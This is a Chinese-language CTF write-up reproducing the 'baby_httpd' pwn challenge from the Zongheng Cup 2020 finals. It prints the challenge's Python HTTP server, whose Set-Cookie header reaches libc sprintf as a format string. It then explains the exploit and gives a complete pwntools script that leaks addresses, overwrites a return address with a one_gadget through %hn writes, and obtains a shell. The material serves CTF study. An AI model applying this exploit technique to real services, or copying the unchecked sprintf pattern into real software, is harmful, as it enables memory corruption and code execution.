MENU

纵横杯2020线下 Pwn 复现

May 17, 2021 • Read: 146 • Pwn,CTF

baby_httpd

题目是一个 python 打包的程序,解包部分参见了

https://xuanxuanblingbling.github.io/ctf/pwn/2021/03/31/zongheng/

与常规的 exe 解包,多出了一个 dump section 的环节

objcopy --dump-section pydata=pydata.dump pwn

其他部分都和 exe 程序类似,dump 出代码后即可查看 python 代码进行分析。
题目实现了一个小型的 http 服务器,代码如下

__version__ = '0.0.1'
import ctypes, sys, mimetypes, time, posixpath, urllib, os, shutil, cgi, platform
os_system = platform.system()
py_version = sys.version.split()[0][0]
if py_version == '2':
    import urlparse
    from urllib import unquote, quote
elif py_version == '3':
    from urllib import parse as urlparse
    from urllib.parse import unquote, quote
DEFAULT_ERROR_MESSAGE = '<head>\n<title>Error response</title>\n</head>\n<body>\n<h1>Error response</h1>\n<p>Error code %(code)d.\n<p>Message: %(message)s.\n<p>Error code explanation: %(code)s = %(explain)s.\n</body>\n'
DEFAULT_ERROR_CONTENT_TYPE = 'text/html'
def _quote_html(html):
    return html.replace('&', '&').replace('<', '<').replace('>', '>')
class HeaderOption:
    def __init__(self, fp, index):
        self.fp = fp
        self.headers = []
        self.dict = {}
        line = self.fp.readline(65537).strip()
        while line:
            self.headers.append(line + '\n')
            head = line.split(':')
            if len(head) == 2:
                self.dict[head[0].lower()] = head[1].strip()
            elif len(head) > 2:
                self.dict[head[0].lower()] = ':'.join(head[1:])
            line = self.fp.readline(65537).strip()
    def get(self, head, default=None):
        head = head.lower()
        if head in self.dict:
            return self.dict[head]
        else:
            return ''
    def __str__(self):
        return ''.join(self.headers)
class BaseHTTPRequestHandler:
    sys_version = 'Python/' + sys.version.split()[0]
    server_version = 'BaseHTTP/' + __version__
    default_request_version = 'HTTP/0.9'
    if os_system == 'Linux':
        wfile = sys.stdout
        rfile = sys.stdin
        libc = ctypes.CDLL('libc.so.6')
    else:
        wfile = open('info', 'wb')
        rfile = open('payload', 'rb')
    def parse_request(self):
        self.command = None
        self.request_version = version = self.default_request_version
        self.close_connection = 1
        self.set_cookie = 0
        self.cookie = None
        requestline = self.raw_requestline
        requestline = requestline.rstrip('\r\n')
        self.requestline = requestline
        words = requestline.split()
        if len(words) == 3:
            command, path, version = words
            if version[:5] != 'HTTP/':
                self.send_error(400, 'Bad request version (%r)' % version)
                return False
            try:
                base_version_number = version.split('/', 1)[1]
                version_number = base_version_number.split('.')
                if len(version_number) != 2:
                    raise ValueError
                version_number = (
                 int(version_number[0]), int(version_number[1]))
            except (ValueError, IndexError):
                self.send_error(400, 'Bad request version (%r)' % version)
                return False
            if version_number >= (1, 1) and self.protocol_version >= 'HTTP/1.1':
                self.close_connection = 0
            if version_number >= (2, 0):
                self.send_error(505, 'Invalid HTTP Version (%s)' % base_version_number)
                return False
        else:
            if len(words) == 2:
                command, path = words
                self.close_connection = 1
                if command != 'GET':
                    self.send_error(400, 'Bad HTTP/0.9 request type (%r)' % command)
                    return False
            else:
                if not words:
                    return False
                else:
                    self.send_error(400, 'Bad request syntax (%r)' % requestline)
                    return False
        self.command, self.path, self.request_version = command, path, version
        self.headers = self.MessageClass(self.rfile, 0)
        conntype = self.headers.get('Connection', '')
        if conntype.lower() == 'close':
            self.close_connection = 1
        else:
            if conntype.lower() == 'keep-alive' and self.protocol_version >= 'HTTP/1.1':
                self.close_connection = 0
            else:
                self.close_connection = 1
        self.cookie = self.headers.get('Set-Cookie', '')
        if self.cookie.lower() != '':
            self.set_cookie = 1
        return True
    def handle_one_request(self):
        try:
            self.raw_requestline = self.rfile.readline(65537)
            if len(self.raw_requestline) > 65536:
                self.requestline = ''
                self.request_version = ''
                self.command = ''
                self.send_error(414)
                return
            if not self.raw_requestline:
                self.close_connection = 1
                return
            if not self.parse_request():
                return
            mname = 'do_' + self.command
            if not hasattr(self, mname):
                self.send_error(501, 'Unsupported method (%r)' % self.command)
                return
            method = getattr(self, mname)
            method()
            self.wfile.flush()
        except Exception as e:
            self.close_connection = 1
            return
    def handle(self):
        self.close_connection = 1
        self.handle_one_request()
        while not self.close_connection:
            self.handle_one_request()
    def send_error(self, code, message=None):
        try:
            short, long = self.responses[code]
        except KeyError:
            short, long = ('???', '???')
        if message is None:
            message = short
        explain = long
        self.send_response(code, message)
        self.send_header('Connection', 'close')
        content = None
        if code >= 200 and code not in (204, 205, 304):
            content = self.error_message_format % {'code': code, 
             'message': _quote_html(message), 
             'explain': explain}
            self.send_header('Content-Type', self.error_content_type)
        self.end_headers()
        if self.command != 'HEAD' and content:
            self.wfile.write(content)
    error_message_format = DEFAULT_ERROR_MESSAGE
    error_content_type = DEFAULT_ERROR_CONTENT_TYPE
    def send_response(self, code, message=None):
        if message is None:
            if code in self.responses:
                message = self.responses[code][0]
            else:
                message = ''
            if self.request_version != 'HTTP/0.9':
                self.wfile.write('%s %d %s\r\n' % (
                 self.protocol_version, code, message))
            else:
                self.wfile.write('%s %d %s111\r\n' % (self.protocol_version, code, message))
            self.send_header('Server', self.version_string())
            self.send_header('Date', self.date_time_string())
            if self.set_cookie:
                self.send_header('Cookie', self.cookie)
    def send_header(self, keyword, value):
        if type(value) != bytes:
            value = value.encode()
        if self.request_version != 'HTTP/0.9':
            if os_system == 'Linux':
                string = ctypes.c_buffer(1024)
                self.libc.sprintf(string, value)
                self.wfile.write('%s: %s\r\n' % (keyword, string.value.decode()))
        else:
            self.wfile.write('%s: %s\r\n' % (keyword, value.decode()))
        if keyword.lower() == 'connection':
            if value.lower() == 'close':
                self.close_connection = 1
        elif value.lower() == 'keep-alive':
            self.close_connection = 0
    def send_body(self, content):
        if self.request_version != 'HTTP/0.9':
            self.wfile.write('\r\n%s' % content)
    def end_headers(self):
        if self.request_version != 'HTTP/0.9':
            self.wfile.write('\r\n')
    def version_string(self):
        return self.server_version + ' ' + self.sys_version
    def date_time_string(self, timestamp=None):
        if timestamp is None:
            timestamp = time.time()
        year, month, day, hh, mm, ss, wd, y, z = time.gmtime(timestamp)
        s = '%s, %02d %3s %4d %02d:%02d:%02d GMT' % (
         self.weekdayname[wd],
         day, self.monthname[month], year,
         hh, mm, ss)
        return s
    def log_date_time_string(self):
        now = time.time()
        year, month, day, hh, mm, ss, x, y, z = time.localtime(now)
        s = '%02d/%3s/%04d %02d:%02d:%02d' % (
         day, self.monthname[month], year, hh, mm, ss)
        return s
    weekdayname = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']
    monthname = [None,
     'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
     'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
    def address_string(self):
        host, port = self.client_address[:2]
        return socket.getfqdn(host)
    protocol_version = 'HTTP/1.1'
    MessageClass = HeaderOption
    responses = {100: ('Continue', 'Request received, please continue'), 
     101: ('Switching Protocols', 'Switching to new protocol; obey Upgrade header'), 
   
     200: ('OK', 'Request fulfilled, document follows'), 
     201: ('Created', 'Document created, URL follows'), 
     202: ('Accepted', 'Request accepted, processing continues off-line'), 
   
     203: ('Non-Authoritative Information', 'Request fulfilled from cache'), 
     204: ('No Content', 'Request fulfilled, nothing follows'), 
     205: ('Reset Content', 'Clear input form for further input.'), 
     206: ('Partial Content', 'Partial content follows.'), 
     300: ('Multiple Choices', 'Object has several resources -- see URI list'), 
   
     301: ('Moved Permanently', 'Object moved permanently -- see URI list'), 
     302: ('Found', 'Object moved temporarily -- see URI list'), 
     303: ('See Other', 'Object moved -- see Method and URL list'), 
     304: ('Not Modified', 'Document has not changed since given time'), 
   
     305: ('Use Proxy', 'You must use proxy specified in Location to access this resource.'), 
   
     307: ('Temporary Redirect', 'Object moved temporarily -- see URI list'), 
   
     400: ('Bad Request', 'Bad request syntax or unsupported method'), 
   
     401: ('Unauthorized', 'No permission -- see authorization schemes'), 
   
     402: ('Payment Required', 'No payment -- see charging schemes'), 
   
     403: ('Forbidden', 'Request forbidden -- authorization will not help'), 
   
     404: ('Not Found', 'Nothing matches the given URI'), 
     405: ('Method Not Allowed', 'Specified method is invalid for this resource.'), 
   
     406: ('Not Acceptable', 'URI not available in preferred format.'), 
     407: ('Proxy Authentication Required', 'You must authenticate with this proxy before proceeding.'), 
     408: ('Request Timeout', 'Request timed out; try again later.'), 
     409: ('Conflict', 'Request conflict.'), 
     410: ('Gone', 'URI no longer exists and has been permanently removed.'), 
   
     411: ('Length Required', 'Client must specify Content-Length.'), 
     412: ('Precondition Failed', 'Precondition in headers is false.'), 
     413: ('Request Entity Too Large', 'Entity is too large.'), 
     414: ('Request-URI Too Long', 'URI is too long.'), 
     415: ('Unsupported Media Type', 'Entity body in unsupported format.'), 
     416: ('Requested Range Not Satisfiable', 'Cannot satisfy request range.'), 
   
     417: ('Expectation Failed', 'Expect condition could not be satisfied.'), 
   
     500: ('Internal Server Error', 'Server got itself in trouble'), 
     501: ('Not Implemented', 'Server does not support this operation'), 
   
     502: ('Bad Gateway', 'Invalid responses from another server/proxy.'), 
     503: ('Service Unavailable', 'The server cannot process the request due to a high load'), 
   
     504: ('Gateway Timeout', 'The gateway server did not receive a timely response'), 
   
     505: ('HTTP Version Not Supported', 'Cannot fulfill request.')}
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    server_version = 'BabyHTTP/' + __version__
    def do_GET(self):
        f = self.send_head()
        if f:
            try:
                self.copyfile(f, self.wfile)
            finally:
                f.close()
    def do_HEAD(self):
        f = self.send_head()
        if f:
            f.close()
    def do_GAGA(self):
        self.send_response(200)
        self.send_header('Content-type', self.guess_type('/gaga'))
        self.send_header('Content-Length', '10')
        self.send_body('your look what?')
        self.end_headers()
    def send_head(self):
        path = self.translate_path(self.path)
        f = None
        if 'flag' in self.path:
            self.send_error(403, self.responses[403][0])
            return
        if os.path.isdir(path):
            parts = urlparse.urlsplit(self.path)
            if not parts.path.endswith('/'):
                self.send_response(301)
                new_parts = (parts[0], parts[1], parts[2] + '/',
                 parts[3], parts[4])
                new_url = urlparse.urlunsplit(new_parts)
                self.send_header('Location', new_url)
                self.end_headers()
                return
            for index in ('index.html', 'index.htm'):
                index = os.path.join(path, index)
                if os.path.exists(index):
                    path = index
                    break
            else:
                self.send_error(403, self.responses[403][0])
                return
        ctype = self.guess_type(path)
        try:
            f = open(path, 'r')
        except IOError:
            self.send_error(404, 'File not found')
            return
        try:
            self.send_response(200)
            self.send_header('Content-type', ctype)
            fs = os.fstat(f.fileno())
            self.send_header('Content-Length', str(fs[6]))
            self.send_header('Last-Modified', self.date_time_string(fs.st_mtime))
            self.end_headers()
            return f
        except:
            f.close()
            raise
    def list_directory(self, path):
        import tempfile
        try:
            list = os.listdir(path)
        except os.error:
            self.send_error(404, 'No permission to list directory')
            return
        list.sort(key=lambda a: a.lower())
        f = tempfile.TemporaryFile(mode='w+t')
        displaypath = cgi.escape(unquote(self.path))
        f.write('<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">')
        f.write('<html>\n<title>Directory listing for %s</title>\n' % displaypath)
        f.write('<body>\n<h2>Directory listing for %s</h2>\n' % displaypath)
        f.write('<hr>\n<ul>\n')
        for name in list:
            fullname = os.path.join(path, name)
            displayname = linkname = name
            if os.path.isdir(fullname):
                displayname = name + '/'
                linkname = name + '/'
            if os.path.islink(fullname):
                displayname = name + '@'
            f.write('<li><a href="%s">%s</a>\n' % (
             quote(linkname), cgi.escape(displayname)))
        f.write('</ul>\n<hr>\n</body>\n</html>\n')
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        encoding = sys.getfilesystemencoding()
        self.send_header('Content-type', 'text/html; charset=%s' % encoding)
        self.send_header('Content-Length', str(length))
        self.end_headers()
        return f
    def translate_path(self, path):
        path = path.split('?', 1)[0]
        path = path.split('#', 1)[0]
        trailing_slash = path.rstrip().endswith('/')
        path = posixpath.normpath(unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        for word in words:
            if not os.path.dirname(word):
                if word in (os.curdir, os.pardir):
                    pass
                else:
                    path = os.path.join(path, word)
        if trailing_slash:
            path += '/'
        return path
    def copyfile(self, source, outputfile):
        shutil.copyfileobj(source, outputfile)
    def guess_type(self, path):
        base, ext = posixpath.splitext(path)
        if ext in self.extensions_map:
            return self.extensions_map[ext]
        else:
            ext = ext.lower()
            if ext in self.extensions_map:
                return self.extensions_map[ext]
            return self.extensions_map['']
        if not mimetypes.inited:
            mimetypes.init()
    extensions_map = mimetypes.types_map.copy()
    extensions_map.update({'': 'application/octet-stream', 
     '.py': 'text/plain', 
     '.c': 'text/plain', 
     '.h': 'text/plain'})
def main():
    a = SimpleHTTPRequestHandler()
    a.handle()
if __name__ == '__main__':
    main()

审计代码可以发现这里存在一个格式化字符串漏洞,但是和以往的不同,这里有限制的是储存格式化字符串漏洞的数组,要求只能长度为 1024。同时这里也能够实现堆溢出,但是由于 python 中的堆数据错综复杂,所以难以利用。我们考虑只使用这里的格式化字符串漏洞来攻击。
图片

整理发现只有在

图片

setcookie 这一部分才有传入我们自己能够输入的数据。

图片

而这一部分的关键就是在传入的 Set-Cookie 参数,我们只需要在代码中填入 Set-Cookie 参数内容即可。

所以这道题,就从一道不熟悉的 python 题,转换为熟悉的非栈上格式化字符串利用。利用的关键就是要找到二重指针,并且修改第一重的内容使其指向到返回地址并修改为 one_gadget,最终能够完成在栈上的小范围任意读写漏洞。关于这部分的内容我在之前已经讲解过多次,不再赘述。

注意

1.这道题你直接用 gdb 附加是不行的,因为真正进行运算的进程是当前进程重新创建的一个子进程,需要手动用 gdb attach,可以参见图中我的操作

图片

2.在使用 %hn 进行修改的时候,我尝试使用 %20c 这种操作,发现程序会直接退出,最终发现使用'a' * 20 这种 payload 是可以打通的,具体原因不明。

3.由于我这个方法需要有一次 hn 的修改二字节内容,但是由于二字节内容数据过大,有可能会超过他的堆上变量的范围,所以这部分可以用爆破来解决。

4.每次运行的时候,程序都会把 cpython 的库放到/tmp/_ME*这个随机的文件夹里面,如果爆破尝试次数过多,可能会卡顿,可以用以下两行来删

wjh@ubuntu:~$ rm /tmp/_ME*/*
wjh@ubuntu:~$ rmdir /tmp/_ME*

5.不知道为什么,使用 gdb 里面的 fmtarg 算出来的偏移和真实的偏移相差 1。

EXP

from pwn import *
from LibcSearcher import *
elf = None
libc = None
file_name = "./pwn"
# context.log_level = "debug"

def get_file():
    global elf
    context.binary = file_name
    elf = context.binary

def get_libc():
    global libc
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)

def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)

def get_address(sh, info=None, start_string=None, address_len=None, end_string=None, offset=None, int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.recvrepeat(0.3)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    else:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    if stop:
        raw_input()

def heapbase(sh):
    if args['REMOTE']:
        return 0
    infomap = os.popen("cat /proc/{}/maps".format(sh.pid)).read()
    data = re.search(".*\[heap\]", infomap)
    if data:
        heapaddr = data.group().split("-")[0]
        return int(heapaddr, 16)
    else:
        return 0

def libcbase():
    if args['REMOTE']:
        return 0
    infomap = os.popen("cat /proc/{}/maps".format(r.pid)).read()
    data = re.search(".*libc.*\.so", infomap)
    if data:
        libcaddr = data.group().split("-")[0]
        return int(libcaddr, 16)
    else:
        return 0

def Attack(sh=None, ip=None, port=None):
    if ip != None and port != None:
        try:
            sh = remote(ip, port)
        except:
            return 'ERROR : Can not connect to target server!'
    flag = ""
    while True:
        try:
            flag = pwn(sh)
            break
        except EOFError:
            sh.close()
            sh = get_sh()
    return flag

def set_libc():
    os.system('patchelf --set-interpreter libc/ld.so --set-rpath libc/ ' + file_name)

def fmt(sh, data):
    text = '''GET index.html HTTP/1.1
Connection: keep-alive
Set-Cookie: ''' + data + '''
'''
    sh.sendline(text)
    sh.recvuntil('Cookie')

def write_data(sh, addr, data):
    for i in data:
        fmt(sh, 'a' * addr + '%2536$hn')
        fmt(sh, 'a' * ord(i) + '%2562$hhn')
        addr += 1

def pwn(sh):
    fmt(sh, '%2522$paaa')
    ret_addr = get_address(sh, info='ret_addr: ', int_mode=True, start_string='0x', end_string='aaa') - 0x18
    if ret_addr & 0xFFFF >= 0x400:
        raise EOFError
    raw_input()
    context.log_level = "debug"
    log.success('GET')
    fmt(sh, '%12$paaa')
    sprintf_addr = get_address(sh, info='sprintf: ', int_mode=True, start_string='0x', end_string='aaa')
    libc = LibcSearcher('sprintf', sprintf_addr, 0)
    #print libc.one_gadget
    write_data(sh, ret_addr & 0xFFFF, p64(libc.one_gadget[3]))
    sh.sendline()
    flag = get_flag(sh)
    return flag

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
Last Modified: July 25, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code